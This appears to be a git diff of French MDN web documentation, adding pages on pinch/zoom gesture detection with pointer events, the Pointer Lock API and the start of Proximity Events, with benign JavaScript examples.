Ajouter la gestion des gestes à une application peut améliorer de manière significative l'expérience utilisateur. Il existe de nombreux types de gestes, du simple geste swipe (balayage de l'écran) aux gestes plus complexes avec plusieurs doigts comme le twist (rotation), où les points de contact (dits pointeurs) bougent dans des directions différentes.

- -

Cet exemple montre comment détecter les gestes de pinch/zoom (pincer/zoomer), en utilisant les {{domxref("Pointer_events","événements de pointeur")}} pour détecter si l'utilisateur bouge deux pointeurs plus proches ou plus loin l'un de l'autre. 

- -
-

Note: Une version en direct de cette application est disponible sur Github. Le code source est également disponible sur Github; les pull requests et bug reports sont les bienvenus.

-
- -

Exemple

- -

Dans cet exemple, on utilise les {{domxref("Pointer_events","événement de pointeur")}} pour détecter simultanément plusieurs appareils de pointage quel qu'en soit le type, comme les doigts, la souris, et le stylet. Le geste de pincer (zoomer), qui consiste à déplacer deux pointeurs plus près l'un vers l'autre, change la couleur d'arrière-plan de l'élément cible en  lightblue. Le geste d'étirer (dézoomer), qui consiste à déplacer deux pointeur plus loin l'un de l'autre, change la couleur d'arrière-plan de l'élément cible en pink.

- -

Définir la cible du toucher

- -

L'application utilise un {{HTMLElement("div")}} pour définir la zone cible du pointeur.

- -
<style>
-  div {
-    margin: 0em;
-    padding: 2em;
-  }
-  #target {
-    background: white;
-    border: 1px solid black;
-  }
-</style>
-
- -

État global

- -

Prendre en charge un mouvement à deux pointeurs nécessite de conserver un état des événements du pointeur durant les différentes phases de l'événement. Cette application utilise deux variables globales pour mettre en cache l'état de l'événement.

- -
// Variables globales pour mettre en cache l'état de l'événement
-var evCache = new Array();
-var prevDiff = -1;
-
- -

Enregistrer les gestionnaires d'événement

- -

Les gestionnaires d'événement sont enregistrés pour les événements de pointeur suivants: {{event("pointerdown")}}, {{event("pointermove")}} et {{event("pointerup")}}. Le gestionnaire pour {{event("pointerup")}} est utilisé pour les événements {{event("pointercancel")}}, {{event("pointerout")}} et {{event("pointerleave")}} puisque ces quatre événements ont la même sémantique dans cette application.

- -
function init() {
- // Ajoute les gestionnaires d'événements pour la cible du pointeur
- var el=document.getElementById("target");
- el.onpointerdown = pointerdown_handler;
- el.onpointermove = pointermove_handler;
-
- // Même chose pour les événements pointer{up,cancel,out,leave} puisque
- // la sémantique pour ces événements - dans cette appli - est identique.
- el.onpointerup = pointerup_handler;
- el.onpointercancel = pointerup_handler;
- el.onpointerout = pointerup_handler;
- el.onpointerleave = pointerup_handler;
-}
-
- -

Pointer down

- -

L'événement {{event("pointerdown")}} est déclenché quand un pointeur (souris, stylo/stylet ou point de contact sur un écran tactile) entre en contact avec la surface de contact. Dans cette application, l'état de l'événement doit être mis en cache dans le cas où il fait partie d'un geste à deux pointeurs pour pincer/zoomer.

- -
function pointerdown_handler(ev) {
- // L'événement pointerdown signale le début d'une interraction de toucher.
- // L'événement est mis en cache pour prendre en charge les gestes à 2 doigts
- evCache.push(ev);
- log("pointerDown", ev);
-}
-
- -

Pointer move

- -

Le gestionnaire d'événement {{event("pointermove")}} détecte si un utilisateur est en train d'effectuer le geste de pincer/zoomer. Si deux pointeurs sont utilisés, et que la distance entre les pointeurs augmente (ce qui signifie qu'on étire ou dézoome), la couleur d'arrière-plan est changée en pink, et si la distance entre les pointeurs diminue (ce qui signifie qu'on pince ou dézoome), la couleur d'arrière-plan est changée en lightblue. Dans une application plus sophistiquée, le pincement ou l'étirement pourrait être utilisé pour appliquer une sémantique spécifique à l'application.

- -

Quand cet événement est traité, la bordure de la cible est définie à dashed pour fournir une indication visuelle claire que l'élément a reçu un événement de déplacement.

- -
function pointermove_handler(ev) {
- // Cette fonction implémente la détection du mouvement horizontal pincer/zoomer.
- //
- // Si la distance entre les deux pointeurs augmente (zoomer),
- // l'arrière-plan de l'élément cible est changé en "pink" et si la
- // distance diminue (dezoomer), la couleur est changée en "lightblue".
- //
- // Cette fonctionne définie la bordure de l'élément cible à "dashed" pour indiquer
- // visuellement que la cible du pointeur a reçu un événement de déplacement.
- log("pointerMove", ev);
- ev.target.style.border = "dashed";
-
- // Trouve le pointeur en cours dans le cache et le met à jour avec cet événement
- for (var i = 0; i < evCache.length; i++) {
-   if (ev.pointerId == evCache[i].pointerId) {
-      evCache[i] = ev;
-      break;
-   }
- }
-
- // Si deux pointeurs sont utilisés, vérifie le geste de pincement
- if (evCache.length == 2) {
-   // Calcule la distance entre les deux pointeurs
-   var curDiff = Math.abs(evCache[0].clientX - evCache[1].clientX);
-
-   if (prevDiff > 0) {
-     if (curDiff > prevDiff) {
-       // La distance entre les deux pointeurs a augmenté
-       log("Pinch moving OUT -> Zoom in", ev);
-       ev.target.style.background = "pink";
-     }
-     if (curDiff < prevDiff) {
-       // La distance entre les deux pointeurs a diminué
-       log("Pinch moving IN -> Zoom out",ev);
-       ev.target.style.background = "lightblue";
-     }
-   }
-
-   // Met en cache la distance pour les événements suivants
-   prevDiff = curDiff;
- }
-}
-
- -

Pointer up

- -

L'événement {{event("pointerup")}} est déclenché quand le pointeur est levé de la surface de contact. Quand cela arrive, l'événement est retiré du cache et la couleur d'arrière-plan et bordure de la cible sont rétablies à leur valeur d'origine.

- -

Dans cette application, ce gestionnaire est également utilisé pour les événements {{event("pointercancel")}}, {{event("pointerleave")}} et {{event("pointerout")}}.

- -
function pointerup_handler(ev) {
-  log(ev.type, ev);
-  // Retire ce pointeur du cache et rétablit l'arrière-plan et
-  // et bordure de la cible
-  remove_event(ev);
-  ev.target.style.background = "white";
-  ev.target.style.border = "1px solid black";
-
-  // Si le nombre de pointeurs restant est inférieur à deux, remet à zéro la différence
-  if (evCache.length < 2) prevDiff = -1;
-}
-
- -

Application UI

- -

Cette application utilise un élément {{HTMLElement("div")}} comme zone de toucher et fournit des boutons pour activer et nettoyer les logs.

- -

Pour empêcher que le comportement par défaut du navigateur au toucher surcharge le gestionnaire de l'application, la propriété {{cssxref("touch-action")}} est appliquée à l'élément {{HTMLElement("body")}}.

- -
<body onload="init();" style="touch-action:none">
- <div id="target">Touchez l'écran avec deux pointeurs, puis pincez ou étirez.<br/>
-    La couleur d'arrière-plan changera en rose au pincement (Zoomer)
-    ou en bleu clair à l'étirement (Dézoomer).</div>
- <!-- UI pour log/debug -->
- <button id="log" onclick="enableLog(event);">Démarrer/Stopper les logs</button>
- <button id="clearlog" onclick="clearLog(event);">Nettoyer les logs</button>
- <p></p>
- <output></output>
-</body>
-
- -

Fonctions diverses

- -

Ces fonctions prennent en charge l'application mais ne sont pas directement impliquées dans le flux des événements.

- -

Gestion du Cache

- -

Cette fonction aide à gérer le cache global des événements, evCache.

- -
function remove_event(ev) {
- // Supprime l'événement du cache
- for (var i = 0; i < evCache.length; i++) {
-   if (evCache[i].pointerId == ev.pointerId) {
-     evCache.splice(i, 1);
-     break;
-   }
- }
-}
-
- -

Log des événements

- -

Ces fonctions sont utilisées pour afficher l'activité du pointeur dans la fenêtre de l'application (pour aider à debugger et à apprendre le flux des événements).

- -
// Flag log
-var logEvents = false;
-
-// Fonctions Log/debug
-function enableLog(ev) {
-  logEvents = logEvents ? false : true;
-}
-
-function log(prefix, ev) {
-  if (!logEvents) return;
-  var o = document.getElementsByTagName('output')[0];
-  var s = prefix + ": pointerID = " + ev.pointerId +
-                " ; pointerType = " + ev.pointerType +
-                " ; isPrimary = " + ev.isPrimary;
-  o.innerHTML += s + "
-";
-}
-
-function clearLog(event) {
- var o = document.getElementsByTagName('output')[0];
- o.innerHTML = "";
-}
-
- -

Voir aussi

- - diff --git a/files/fr/web/api/pointer_events/pinch_zoom_gestures/index.html b/files/fr/web/api/pointer_events/pinch_zoom_gestures/index.html new file mode 100644 index 0000000000..707b3e5eb3 --- /dev/null +++ b/files/fr/web/api/pointer_events/pinch_zoom_gestures/index.html @@ -0,0 +1,220 @@ +--- +title: Gestes pincer et zoomer +slug: Web/API/Pointer_events/gestes_pincer_zoom +tags: + - Guide + - PointerEvent + - touch +translation_of: Web/API/Pointer_events/Pinch_zoom_gestures +--- +

{{DefaultAPISidebar("Pointer Events")}}

+ +

Ajouter la gestion des gestes à une application peut améliorer de manière significative l'expérience utilisateur. Il existe de nombreux types de gestes, du simple geste swipe (balayage de l'écran) aux gestes plus complexes avec plusieurs doigts comme le twist (rotation), où les points de contact (dits pointeurs) bougent dans des directions différentes.

+ +

Cet exemple montre comment détecter les gestes de pinch/zoom (pincer/zoomer), en utilisant les {{domxref("Pointer_events","événements de pointeur")}} pour détecter si l'utilisateur bouge deux pointeurs plus proches ou plus loin l'un de l'autre. 

+ +
+

Note: Une version en direct de cette application est disponible sur Github. Le code source est également disponible sur Github; les pull requests et bug reports sont les bienvenus.

+
+ +

Exemple

+ +

Dans cet exemple, on utilise les {{domxref("Pointer_events","événement de pointeur")}} pour détecter simultanément plusieurs appareils de pointage quel qu'en soit le type, comme les doigts, la souris, et le stylet. Le geste de pincer (zoomer), qui consiste à déplacer deux pointeurs plus près l'un vers l'autre, change la couleur d'arrière-plan de l'élément cible en  lightblue. Le geste d'étirer (dézoomer), qui consiste à déplacer deux pointeur plus loin l'un de l'autre, change la couleur d'arrière-plan de l'élément cible en pink.

+ +

Définir la cible du toucher

+ +

L'application utilise un {{HTMLElement("div")}} pour définir la zone cible du pointeur.

+ +
<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #target {
+    background: white;
+    border: 1px solid black;
+  }
+</style>
+
+ +

État global

+ +

Prendre en charge un mouvement à deux pointeurs nécessite de conserver un état des événements du pointeur durant les différentes phases de l'événement. Cette application utilise deux variables globales pour mettre en cache l'état de l'événement.

+ +
// Variables globales pour mettre en cache l'état de l'événement
+var evCache = new Array();
+var prevDiff = -1;
+
+ +

Enregistrer les gestionnaires d'événement

+ +

Les gestionnaires d'événement sont enregistrés pour les événements de pointeur suivants: {{event("pointerdown")}}, {{event("pointermove")}} et {{event("pointerup")}}. Le gestionnaire pour {{event("pointerup")}} est utilisé pour les événements {{event("pointercancel")}}, {{event("pointerout")}} et {{event("pointerleave")}} puisque ces quatre événements ont la même sémantique dans cette application.

+ +
function init() {
+ // Ajoute les gestionnaires d'événements pour la cible du pointeur
+ var el=document.getElementById("target");
+ el.onpointerdown = pointerdown_handler;
+ el.onpointermove = pointermove_handler;
+
+ // Même chose pour les événements pointer{up,cancel,out,leave} puisque
+ // la sémantique pour ces événements - dans cette appli - est identique.
+ el.onpointerup = pointerup_handler;
+ el.onpointercancel = pointerup_handler;
+ el.onpointerout = pointerup_handler;
+ el.onpointerleave = pointerup_handler;
+}
+
+ +

Pointer down

+ +

L'événement {{event("pointerdown")}} est déclenché quand un pointeur (souris, stylo/stylet ou point de contact sur un écran tactile) entre en contact avec la surface de contact. Dans cette application, l'état de l'événement doit être mis en cache dans le cas où il fait partie d'un geste à deux pointeurs pour pincer/zoomer.

+ +
function pointerdown_handler(ev) {
+ // L'événement pointerdown signale le début d'une interraction de toucher.
+ // L'événement est mis en cache pour prendre en charge les gestes à 2 doigts
+ evCache.push(ev);
+ log("pointerDown", ev);
+}
+
+ +

Pointer move

+ +

Le gestionnaire d'événement {{event("pointermove")}} détecte si un utilisateur est en train d'effectuer le geste de pincer/zoomer. Si deux pointeurs sont utilisés, et que la distance entre les pointeurs augmente (ce qui signifie qu'on étire ou dézoome), la couleur d'arrière-plan est changée en pink, et si la distance entre les pointeurs diminue (ce qui signifie qu'on pince ou dézoome), la couleur d'arrière-plan est changée en lightblue. Dans une application plus sophistiquée, le pincement ou l'étirement pourrait être utilisé pour appliquer une sémantique spécifique à l'application.

+ +

Quand cet événement est traité, la bordure de la cible est définie à dashed pour fournir une indication visuelle claire que l'élément a reçu un événement de déplacement.

+ +
function pointermove_handler(ev) {
+ // Cette fonction implémente la détection du mouvement horizontal pincer/zoomer.
+ //
+ // Si la distance entre les deux pointeurs augmente (zoomer),
+ // l'arrière-plan de l'élément cible est changé en "pink" et si la
+ // distance diminue (dezoomer), la couleur est changée en "lightblue".
+ //
+ // Cette fonctionne définie la bordure de l'élément cible à "dashed" pour indiquer
+ // visuellement que la cible du pointeur a reçu un événement de déplacement.
+ log("pointerMove", ev);
+ ev.target.style.border = "dashed";
+
+ // Trouve le pointeur en cours dans le cache et le met à jour avec cet événement
+ for (var i = 0; i < evCache.length; i++) {
+   if (ev.pointerId == evCache[i].pointerId) {
+      evCache[i] = ev;
+      break;
+   }
+ }
+
+ // Si deux pointeurs sont utilisés, vérifie le geste de pincement
+ if (evCache.length == 2) {
+   // Calcule la distance entre les deux pointeurs
+   var curDiff = Math.abs(evCache[0].clientX - evCache[1].clientX);
+
+   if (prevDiff > 0) {
+     if (curDiff > prevDiff) {
+       // La distance entre les deux pointeurs a augmenté
+       log("Pinch moving OUT -> Zoom in", ev);
+       ev.target.style.background = "pink";
+     }
+     if (curDiff < prevDiff) {
+       // La distance entre les deux pointeurs a diminué
+       log("Pinch moving IN -> Zoom out",ev);
+       ev.target.style.background = "lightblue";
+     }
+   }
+
+   // Met en cache la distance pour les événements suivants
+   prevDiff = curDiff;
+ }
+}
+
+ +

Pointer up

+ +

L'événement {{event("pointerup")}} est déclenché quand le pointeur est levé de la surface de contact. Quand cela arrive, l'événement est retiré du cache et la couleur d'arrière-plan et bordure de la cible sont rétablies à leur valeur d'origine.

+ +

Dans cette application, ce gestionnaire est également utilisé pour les événements {{event("pointercancel")}}, {{event("pointerleave")}} et {{event("pointerout")}}.

+ +
function pointerup_handler(ev) {
+  log(ev.type, ev);
+  // Retire ce pointeur du cache et rétablit l'arrière-plan et
+  // et bordure de la cible
+  remove_event(ev);
+  ev.target.style.background = "white";
+  ev.target.style.border = "1px solid black";
+
+  // Si le nombre de pointeurs restant est inférieur à deux, remet à zéro la différence
+  if (evCache.length < 2) prevDiff = -1;
+}
+
+ +

Application UI

+ +

Cette application utilise un élément {{HTMLElement("div")}} comme zone de toucher et fournit des boutons pour activer et nettoyer les logs.

+ +

Pour empêcher que le comportement par défaut du navigateur au toucher surcharge le gestionnaire de l'application, la propriété {{cssxref("touch-action")}} est appliquée à l'élément {{HTMLElement("body")}}.

+ +
<body onload="init();" style="touch-action:none">
+ <div id="target">Touchez l'écran avec deux pointeurs, puis pincez ou étirez.<br/>
+    La couleur d'arrière-plan changera en rose au pincement (Zoomer)
+    ou en bleu clair à l'étirement (Dézoomer).</div>
+ <!-- UI pour log/debug -->
+ <button id="log" onclick="enableLog(event);">Démarrer/Stopper les logs</button>
+ <button id="clearlog" onclick="clearLog(event);">Nettoyer les logs</button>
+ <p></p>
+ <output></output>
+</body>
+
+ +

Fonctions diverses

+ +

Ces fonctions prennent en charge l'application mais ne sont pas directement impliquées dans le flux des événements.

+ +

Gestion du Cache

+ +

Cette fonction aide à gérer le cache global des événements, evCache.

+ +
function remove_event(ev) {
+ // Supprime l'événement du cache
+ for (var i = 0; i < evCache.length; i++) {
+   if (evCache[i].pointerId == ev.pointerId) {
+     evCache.splice(i, 1);
+     break;
+   }
+ }
+}
+
+ +

Log des événements

+ +

Ces fonctions sont utilisées pour afficher l'activité du pointeur dans la fenêtre de l'application (pour aider à debugger et à apprendre le flux des événements).

+ +
// Flag log
+var logEvents = false;
+
+// Fonctions Log/debug
+function enableLog(ev) {
+  logEvents = logEvents ? false : true;
+}
+
+function log(prefix, ev) {
+  if (!logEvents) return;
+  var o = document.getElementsByTagName('output')[0];
+  var s = prefix + ": pointerID = " + ev.pointerId +
+                " ; pointerType = " + ev.pointerType +
+                " ; isPrimary = " + ev.isPrimary;
+  o.innerHTML += s + "
+";
+}
+
+function clearLog(event) {
+ var o = document.getElementsByTagName('output')[0];
+ o.innerHTML = "";
+}
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/pointer_lock_api/index.html b/files/fr/web/api/pointer_lock_api/index.html new file mode 100644 index 0000000000..e3d6ea14f3 --- /dev/null +++ b/files/fr/web/api/pointer_lock_api/index.html @@ -0,0 +1,319 @@ +--- +title: Pointer Lock API +slug: WebAPI/Pointer_Lock +tags: + - API + - Avancé + - Jeux + - Reference + - mouse lock + - pointer lock +translation_of: Web/API/Pointer_Lock_API +--- +
{{DefaultAPISidebar("Pointer Lock API")}}
+ +

Pointer lock (en français Verrouillage du pointeur, précedement appelé mouse lock) permet d'obtenir des informations sur le déplacement de la souris à travers le temps, et ne se cantonne pas à fournir la position absolue du curseur sur l'écran. Cette interface donne accès aux données brutes de la souris, permet de verrouiller la cible des évènements à un élément unique, limiter jusqu'où le mouvement de la souris peut aller dans une direction donnée et cacher le curseur de la vue.
+
+ Cette API est utile pour les applications qui ont besoin d'écouter la souris pour contrôler des mouvements ou faire pivoter des objets sur leurs axes. Les jeux 3D de type FPS (First Person Shooter), les outils de modelisation, les vidéos immersives ou encore les cartes satellites sont autant de candidats idéals. L'utilisateur peut en effet changer l'angle de vue en bougeant simplement sa souris et sans cliquer sur aucun bouton ce qui les laisse donc disponibles pour effectuer d'autres actions.
+
+ Comme Pointer lock continue de déclencher des évènements même quand le curseur est en dehors des limites du navigateur ou de l'écran, les joueurs peuvent cliquer sur les boutons et déplacer le curseur de la souris sans se soucier de quitter la zone de jeu et de cliquer accidentellement sur une autre application qui changerait le focus de la souris en dehors du jeu.

+ +

Concepts de base

+ +

Pointer Lock partage des similtudes avec la capture de souris. La capture de souris offre un flot ininterrompu d'évènements sur un élément cible quand la souris glisse mais s'arrête quand le bouton est relaché. Pour cette raison, Pointer lock diffère de la capture de souris sur les points suivants :

+ +
    +
  • Persistance. Pointer lock ne libère pas la souris tant qu'un appel explicite à l'API n'a pas été effectué ou que l'utilisateur n'a pas fait un mouvement spécifique.
    • +
  • Ne se limite pas aux bordures du navigateur ou de l'écran.
    • +
  • Continue de déclencher des évènements peu importe l'état des boutons de la souris.
    • +
  • Cache le curseur.
    • +
+ +

Vue d'ensemble des méthodes/propriétées

+ +

Cette section fournit une brève description de chaque propriété et méthode associée à la spécification de Pointer Lock.

+ +

requestPointerLock()

+ +

L'API Pointer lock, de manière similaire à l'API Fullscreen, étend les les éléments DOM en ajoutant une nouvelle méthode, {{domxref("Element.requestPointerLock","requestPointerLock()")}}. Comme le préfixe fournisseur a récemment été retiré, vous devriez utiliser la syntaxe ci-dessous, par exemple pour demander un verrouillage deu pointeur sur un élément canvas:

+ +
canvas.requestPointerLock = canvas.requestPointerLock ||
+                            canvas.mozRequestPointerLock ||
+                            canvas.webkitPointerLockElement;
+
+canvas.requestPointerLock()
+ +

pointerLockElement et exitPointerLock()

+ +

L'API Pointer Lock étend également l'interface {{domxref("Document")}}, ajoutant à la fois une nouvelle propriété et une nouvelle méthode. La propriété {{domxref("Document.pointerLockElement","pointerLockElement")}}  est utilisée pour accéder à l'élément actuellement verrouillé (s'il y en a). La méthode {{domxref("Document.exitPointerLock","exitPointerLock()")}}  est utilisée pour libérer le verrou du pointeur.

+ +

La propriété {{domxref("Document.pointerLockElement","pointerLockElement")}}  est utile pour déterminer si un élément est actuellement verrouillé (pour une vérification booléenne par exemple) et également pour obtenir une référence vers l'élément s'il existe.

+ +

Voici un exemple d'utilisation de pointerLockElement:

+ +
document.pointerLockElement = document.pointerLockElement    ||
+                              document.mozPointerLockElement ||
+                              document.webkitPointerLockElement;
+
+// 1) Utiliser une vérification booléenne--le pointeur est-il verrouillé?
+if (!!document.pointerLockElement) {
+  // pointeur verrouillé
+} else {
+  // pointeur non verrouillé
+}
+
+// 2) Accéder à l'élément verrouillé
+if (document.pointerLockElement === someElement) {
+  // someElement est l'élément sur lequel le pointeur est verrouillé
+}
+
+ +

La méthode {{domxref("Document.exitPointerLock()")}} est utilisée pour libérer le verrouillage du pinteur, et, comme {{domxref("Element.requestPointerLock","requestPointerLock")}}, marche de manière asynchrone, on utilise les événements {{event("pointerlockchange")}} et {{event("pointerlockerror")}}, que vous verrez plus en détails ci-dessous.

+ +
document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+
+// Essaie de déverrouiller
+document.exitPointerLock();
+
+ +

Événement pointerlockchange

+ +

Quand l'état de verrouillage du pointeur change — par exemple quand on appelle {{domxref("Element.requestPointerLock","requestPointerLock()")}}, {{domxref("Document.exitPointerLock","exitPointerLock()")}}, que l'utilisateur presse la touche ECHAP, etc.—l'événement {{event("pointerlockchange")}} est envoyé au document. C'est un simple événement qui ne contient pas de données supplémentaires.

+ +
document.pointerLockElement = document.pointerLockElement    ||
+                              document.mozPointerLockElement ||
+                              document.webkitPointerLockElement;
+
+function pointerLockChange() {
+  if (!!document.pointerLockElement) {
+    console.log("Verrouillé.");
+  } else {
+    console.log("Non verrouillé.");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+ +

Événement pointerlockerror

+ +

Quand une erreur est causée par l'appel de {{domxref("Element.requestPointerLock","requestPointerLock()")}} ou {{domxref("Document.exitPointerLock","exitPointerLock()")}}, l'événement {{event("pointerlockerror")}} est envoyé au document. C'est un simple événement qui ne contient pas de données supplémentaires.

+ +
document.addEventListener('pointerlockerror', lockError, false);
+document.addEventListener('mozpointerlockerror', lockError, false);
+document.addEventListener('webkitpointerlockerror', pointerLockChange, false);
+
+function lockError(e) {
+  alert("Pointer lock failed");
+}
+
+ +
Note: Jusqu'à Firefox 50, les événements ci-dessus étaient préfixés avec moz.
+ +

Extensions aux événements de souris

+ +

L'API Pointer lock étend l'interface {{domxref("MouseEvent")}} normale avec les attributs de mouvement. Deux nouveaux attributs sont ajoutés aux événements de souris —{{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}}— fournissant le changement de position de la souris. Ces paramètres ont pour valeur les différences entre les valeurs des propriétés de {{domxref("MouseEvent.screenX","screenX")}} / {{domxref("MouseEvent.screenY","screenY")}} stockées dans les événements {{event("mousemove")}}, eNow et ePrevious. En d'autres termes, movementX = eNow.screenX - ePrevious.screenX.

+ +

État verrouillé

+ +

Quand le verrouillage du pointeur est activé, les propriétés standard {{domxref("MouseEvent.clientX","clientX")}}, {{domxref("MouseEvent.clientY","clientY")}}, {{domxref("MouseEvent.screenX","screenX")}}, et {{domxref("MouseEvent.screenY","screenY")}} sont gardées constantes, comme si la souris ne bougeait pas. Les propriétés {{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}} continuent de fournir le changement de position de la souris. Il n'y a pas de limite aux valeurs {{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}}, si la souris continue de bouger toujours dans la même direction. Le curseur de la souris n'existe pas et il ne peut pas sortir de la fenêtre ou être bloqué par un bord de l'écran.

+ +

État déverrouillé

+ +

Les paramètres {{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}} sont disponibles quel que soit l'état de la souris, verrou ou non.

+ +

Quand la souris est déverrouillée, il est possible que le curseur soit en dehors de la fenêtre et il est alors remis automatiquement à l'intérieur. Si cela arrive, {{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}} sont définis à zéro.

+ +

Simple exemple pas à pas

+ +

Nous avons écrit une démo de verrouillage de pointer pour vous montrer comment l'utiliser pour mettre en place un système de contrôle simple (voir le code source). La démo ressemble à ça:

+ +

A red circle on top of a black background.

+ +

Cette démo utilise JavaScript pour dessiner une balle dans un élément {{ htmlelement("canvas") }}. Quand vous cliquez sur le canvas, le verrouillage du pointeur est utilisé pour supprimer le curseur de la souris à l'écran et vous permettre de déplacer la balle avec la souris. Voyons comment cela fonctionne.

+ +

On définit les positions initiales x et y sur le canvas:

+ +
var x = 50;
+var y = 50;
+ +

Les méthodes de verrouillage de pointeur sont préfixées dans les anciennes versions des navigateurs, on prend donc en compte les différentes implémentations des navigateurs:

+ +
canvas.requestPointerLock = canvas.requestPointerLock ||
+                            canvas.mozRequestPointerLock ||
+                            canvas.webkitRequestPointerLock;
+
+document.exitPointerLock = document.exitPointerLock ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+ +

Maintenant, on définit un gestionnaire d'événement qui appelle la méthode requestPointerLock() quand le canvas est cliqué, ce qui déclenche le verrouillage du pointeur.

+ +
canvas.onclick = function() {
+  canvas.requestPointerLock();
+}
+ +

Et maintenant le gestionnaire d'événement pour le verrouillage: pointerlockchange. Quand cet événement se déclenche, on appelle lockChangeAlert() pour gérer le changement.

+ +
// Gestionnaire d'événement de changement d'état du verrouilllage pour les différents navigateurs
+document.addEventListener('pointerlockchange', lockChangeAlert, false);
+document.addEventListener('mozpointerlockchange', lockChangeAlert, false);
+document.addEventListener('webkitpointerlockchange', lockChangeAlert, false);
+
+ +

La fonction suivante vérifie si la propriété pointLockElement est sur notre canvas. Si c'est le cas, on attache un gestionnaire d'événement pour gérer les mouvements de la souris avec la fonction updatePosition(). Sinon, elle enlève le gestionnaire d'événement.

+ +
function lockChangeAlert() {
+  if (document.pointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+    document.addEventListener("mousemove", updatePosition, false);
+  } else {
+    console.log('The pointer lock status is now unlocked');
+    document.removeEventListener("mousemove", updatePosition, false);
+  }
+}
+ +

La fonction updatePosition() met à jour la position de la balle sur le canvas (les valeurs x et y), et inclut également des instructions if() pour vérifier si la balle est sortie des bords du canvas. Dans ce cas, la balle se ressort au bord opposé. Elle vérifie également si un appel à requestAnimationFrame() a été effectué et si ce n'est pas le cas, l'appelle pour qu'elle déclenche la fonction canvasDraw() et mette à jour le canvas. Un tracker est mis en place pour afficher les valeurs X et Y à l'écran, pour référence.

+ +
var tracker = document.getElementById('tracker');
+
+var animation;
+function updatePosition(e) {
+  x += e.movementX;
+  y += e.movementY;
+  if (x > canvas.width + RADIUS) {
+    x = -RADIUS;
+  }
+  if (y > canvas.height + RADIUS) {
+    y = -RADIUS;
+  }
+  if (x < -RADIUS) {
+    x = canvas.width + RADIUS;
+  }
+  if (y < -RADIUS) {
+    y = canvas.height + RADIUS;
+  }
+  tracker.textContent = "X position: " + x + ", Y position: " + y;
+
+  if (!animation) {
+    animation = requestAnimationFrame(function() {
+      animation = null;
+      canvasDraw();
+    });
+  }
+}
+ +

La fonction canvasDraw() affiche la balle aux position x et y en cours:

+ +
function canvasDraw() {
+  ctx.fillStyle = "black";
+  ctx.fillRect(0, 0, canvas.width, canvas.height);
+  ctx.fillStyle = "#f00";
+  ctx.beginPath();
+  ctx.arc(x, y, RADIUS, 0, degToRad(360), true);
+  ctx.fill();
+}
+ +

iframe limitations

+ +

Le verrouilage du pointeur ne peut concerner qu'une seule iframe à la fois. Quand vous verrouillez une iframe, vous ne pouvez pas essayer de verrouiller une autre iframe et y transférer la cible; une erreur sera levée. Pour éviter cette limitation, déverrouillez d'abord la première iframe, puis verrouillez la seconde.

+ +

Tandis que cela fonctionne pour les iframes par défaut, les iframes en "sandbox" bloquent le verrouillage. La possibilité d'éviter cette limitation, sous la forme de la combinaison attribut/valeur <iframe sandbox="allow-pointer-lock">, devrait bientôt apparaître dans Chrome.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpecificationEtatCommentaire
{{SpecName('Pointer Lock')}}{{Spec2('Pointer Lock')}}Initial specification.
+ +

Compatibilité navigateur

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatVersionUnknown}}

+ 		{{CompatVersionUnknown}} +

{{CompatVersionUnknown}} {{ property_prefix("-moz") }}

+ 		{{ CompatNo() }}{{CompatVersionUnknown}}10.1
Unprefixed support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(50)}}{{ CompatNo() }}{{CompatVersionUnknown}}10.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

Voir aussi

+ +
    +
  • {{domxref("MouseEvent")}}
    • +
diff --git a/files/fr/web/api/proximity_events/index.html b/files/fr/web/api/proximity_events/index.html new file mode 100644 index 0000000000..e5b3d1e199 --- /dev/null +++ b/files/fr/web/api/proximity_events/index.html @@ -0,0 +1,120 @@ +--- +title: Proximity +slug: WebAPI/Proximity +tags: + - WebAPI +translation_of: Web/API/Proximity_Events +--- +

{{ SeeCompatTable }}

+

Résumé

+

Les événements de proximité permettent, simplement, de savoir lorsqu'un utilisateur est près de l'appareil. Ces événements permettent de réagir par rapport à cette proximité, par exemple en éteignant l'écran lorsqu'un utilisateur est en train de passer un appel téléphonique et que l'appareil est près de l'oreille.

+
+

Note : Bien entendu, il faut un capteur de proximité pour que cette API fonctionne, ceux-ci sont généralement disponibles sur les appareils mobile. Les appareils ne disposant pas d'un tel capteur pourront supporter de tels événements, ils seront en revanche incapables de les déclencher.

+
+

Événements de proximité

+

Lorsque le capteur de l'appareil détecte un changement entre l'appareil et l'objet, il informe le navigateur de ce changement en lui envoyant une notification. Lorsque le navigateur reçoit une notification comme celle-ci, il déclenche un événement {{domxref("DeviceProximityEvent")}} à chaque fois qu'il y a un changement et un événement  {{domxref("UserProximityEvent")}} dans le cas où un changement plus brutal se produit.

+

Cet événement peut être capturé en utilisant un objet au niveau window en utilisant la méthode {{domxref("EventTarget.addEventListener","addEventListener")}} (en utilisant les noms d'événements {{event("deviceproximity")}} ou {{event("userproximity")}}) ou en attachant un gestionnaire d'événement à la propriété {{domxref("window.ondeviceproximity")}} ou à la propriété {{domxref("window.onuserproximity")}}.

+

Une fois qu'il a été capturé, l'événement donne accès à différentes informations :

+
